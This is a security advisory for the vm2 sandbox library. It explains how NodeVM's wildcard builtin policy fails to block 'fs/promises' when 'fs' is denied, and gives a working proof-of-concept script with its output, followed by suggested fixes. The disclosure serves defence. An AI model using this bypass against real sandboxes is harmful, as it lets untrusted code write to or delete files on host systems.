CVE-2026-92958

Ein Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um Sicherheitsvorkehrungen zu umgehen, um Informationen offenzulegen, um Daten zu manipulieren, um einen Denial of Service Angriff durchzuführen und um beliebigen Programmcode auszuführen.

## Summary NodeVM's builtin wildcard policy can allow sandboxed code to access `fs/promises` even when the embedder denies `fs`. With the following configuration: ```js require: { builtin: ['*', '-fs', '-child_process'] } ``` `require('fs')` and `require('child_process')` are blocked, but `require('fs/promises')` and `require('node:fs/promises')` are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API. ## Affected Mode NodeVM. ## Affected Configuration ```js new NodeVM({ require: { builtin: ['*', '-fs', '-child_process'] } }); ``` This affects configurations where users rely on negative builtin entries such as `-fs` to deny filesystem access while using the `'*'` builtin wildcard. ## Affected Files / Functions - `lib/builtin.js` - `DANGEROUS_BUILTINS` - `BUILTIN_MODULES` - `makeBuiltinsFromLegacyOptions` - `addDefaultBuiltin` - `lib/resolver.js` - `Resolver.resolve` - `Resolver.loadBuiltinModule` - `lib/setup-node-sandbox.js` - `requireImpl` ## Root Cause `lib/builtin.js` builds `BUILTIN_MODULES` from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name: ```js if (builtins.indexOf(`-${name}`) === -1) { addDefaultBuiltin(res, name, hostRequire); } ``` This means `-fs` removes only the exact builtin named `fs`. It does not remove builtin subpaths such as `fs/promises`. There is also inconsistent `node:` prefix handling. `require('node:fs/promises')` resolves through the same builtin capability, but a negative entry such as `-node:fs/promises` does not block `require('fs/promises')`. ## Security Boundary Crossed Sandboxed code can perform host filesystem writes even though the embedder denied `fs`. ## Impact Confirmed impact: - Host file creation - Host file write The proof uses `fs/promises.writeFile()` to create a harmless temporary file containing a marker string. Additional reachable APIs on `fs/promises` include filesystem operations such as `cp`, `mkdir`, `rename`, `rm`, `rmdir`, `truncate`, and others. These were not used destructively in the proof. ## Safe Local Reproduction Tested on Node.js `v24.14.0`. This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file. ```js 'use strict'; const fs = require('fs'); const os = require('os'); const path = require('path'); const { NodeVM } = require('./'); const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`); const marker = `vm2-fs-promises-marker-${process.pid}`; try { fs.unlinkSync(proofPath); } catch (_) {} (async () => { const vm = new NodeVM({ require: { builtin: ['*', '-fs', '-child_process'] } }); const result = await vm.run(` module.exports = (async () => { const r = {}; try { require('fs'); r.fsLoaded = true; } catch (e) { r.fsBlocked = true; r.fsError = e && e.code; } try { require('child_process'); r.childProcessLoaded = true; } catch (e) { r.childProcessBlocked = true; r.childProcessError = e && e.code; } const fsp = require('fs/promises'); r.fsPromisesLoaded = true; r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort(); await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8'); r.wrote = true; return r; })(); `); const exists = fs.existsSync(proofPath); const content = exists ? fs.readFileSync(proofPath, 'utf8') : null; console.log(JSON.stringify({ result, hostFileExists: exists, hostFileContent: content }, null, 2)); try { fs.unlinkSync(proofPath); } catch (_) {} })().catch(error => { try { fs.unlinkSync(proofPath); } catch (_) {} console.error(error); process.exitCode = 1; }); ``` Observed result: ```json { "result": { "fsBlocked": true, "fsError": "ENOTFOUND", "childProcessBlocked": true, "childProcessError": "ENOTFOUND", "fsPromisesLoaded": true, "wrote": true }, "hostFileExists": true, "hostFileContent": "vm2-fs-promises-marker-<pid>" } ``` Additional local checks: - `require('node:fs/promises')` also loads and can write the proof file. - Adding `-fs/promises` blocks `require('fs/promises')`. - Adding only `-node:fs/promises` does not block `require('fs/promises')`. ## Expected Secure Behavior If an embedder denies `fs`, NodeVM should deny the whole filesystem builtin family, including: - `fs` - `fs/promises` - `node:fs` - `node:fs/promises` Negative entries with and without `node:` should be normalized consistently. ## Suggested Fix 1. Normalize builtin names before allow/deny checks: - Strip `node:` for comparison. - Use one canonical key form internally. 2. Treat negative builtin entries as family denials where appropriate: - `-fs` should block `fs/promises`. - `-inspector` already conceptually blocks `inspector/promises`; apply the same family logic to user-provided negative entries. 3. Add regression tests for: - `builtin: ['*', '-fs']` blocks `fs/promises`. - `builtin: ['*', '-fs']` blocks `node:fs/promises`. - `-node:fs/promises` and `-fs/promises` behave equivalently. - Explicit allowlist behavior is documented and covered.